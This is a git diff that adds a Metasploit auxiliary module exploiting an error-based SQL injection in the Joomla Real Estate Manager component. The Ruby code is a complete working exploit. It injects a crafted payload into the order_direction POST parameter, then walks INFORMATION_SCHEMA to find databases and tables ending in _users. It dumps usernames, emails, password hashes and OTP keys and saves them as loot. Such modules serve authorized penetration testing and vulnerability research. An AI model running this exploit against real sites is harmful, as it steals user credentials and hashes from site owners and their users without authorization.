diff --git a/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb new file mode 100644 index 0000000000..ed406925af --- /dev/null +++ b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla Real Estate Manager Component Error-Based SQL Injection', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in Joomla Plugin + com_realestatemanager versions 3.7 in order to either enumerate + usernames and password hashes. + }, + 'References' => + [ + ['EDB', '38445'] + ], + 'Author' => + [ + 'Omer Ramic', # discovery + 'Nixawk', # metasploit module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 22 2015' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']) + ], self.class) + end + + def check + flag = Rex::Text.rand_text_alpha(5) + payload = "0x#{flag.unpack('H*')[0]}" + + data = sqli(payload) + if data && data.include?(flag) + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end + + def sqli(query) + lmark = Rex::Text.rand_text_alpha(5) + rmark = Rex::Text.rand_text_alpha(5) + + payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT(' + payload << "0x#{lmark.unpack('H*')[0]}," + payload << '%s,' + payload << "0x#{rmark.unpack('H*')[0]}," + payload << 'FLOOR(RAND(0)*2)' + payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' + + get = { + 'option' => 'com_realestatemanager', + 'task' => 'showCategory', + 'catid' => '50', + 'Itemid' => '132' + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'vars_get' => get, + }) + + if res && res.code == 200 + cookie = res.get_cookies + post = { + 'order_field' => 'price', + 'order_direction' => 'asc,' + (payload % query) + } + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'cookie' => cookie, + 'vars_get' => get, + 'vars_post' => post + }) + + # Error based SQL Injection + if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/ + $1 + end + end + end + + def query_databases + dbs = [] + + query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) ' + query << 'FROM INFORMATION_SCHEMA.SCHEMATA)' + + dbc = sqli(query) + + query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) ' + query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)' + + 0.upto(dbc.to_i - 1) do |i| + dbname = sqli(query_fmt % i) + dbs << dbname + vprint_good(dbname) + end + + %w(performance_schema information_schema mysql).each do |dbname| + dbs.delete(dbname) if dbs.include?(dbname) + end + dbs + end + + def query_tables(database) + tbs = [] + + query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) ' + query << 'FROM INFORMATION_SCHEMA.TABLES ' + query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))" + + tbc = sqli(query) + + query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) ' + query_fmt << 'FROM INFORMATION_SCHEMA.TABLES ' + query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) " + query_fmt << 'LIMIT %d,1)' + + vprint_status('tables in database: %s' % database) + 0.upto(tbc.to_i - 1) do |i| + tbname = sqli(query_fmt % i) + vprint_good(tbname) + tbs << tbname if tbname =~ /_users$/ + end + tbs + end + + def query_columns(database, table) + cols = [] + query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})" + + colc = sqli(query) + vprint_status(colc) + + valid_cols = [ # joomla_users + 'activation', + 'block', + 'email', + 'id', + 'lastResetTime', + 'lastvisitDate', + 'name', + 'otep', + 'otpKey', + 'params', + 'password', + 'registerDate', + 'requireReset', + 'resetCount', + 'sendEmail', + 'username' + ] + + query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) ' + query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)" + + 0.upto(colc.to_i - 1) do |i| + record = {} + valid_cols.each do |col| + l = 1 + record[col] = '' + loop do + value = sqli(query_fmt % [col, l, i]) + break if value.blank? + record[col] << value + l += 54 + end + end + cols << record + vprint_status(record.to_s) + end + cols + end + + def run + dbs = query_databases + dbs.each do |db| + tables = query_tables(db) + tables.each do |table| + cols = query_columns(db, table) + next if cols.blank? + path = store_loot( + 'joomla.users', + 'text/plain', + datastore['RHOST'], + cols.to_json, + 'joomla.users') + print_good('Saved file to: ' + path) + end + end + end +end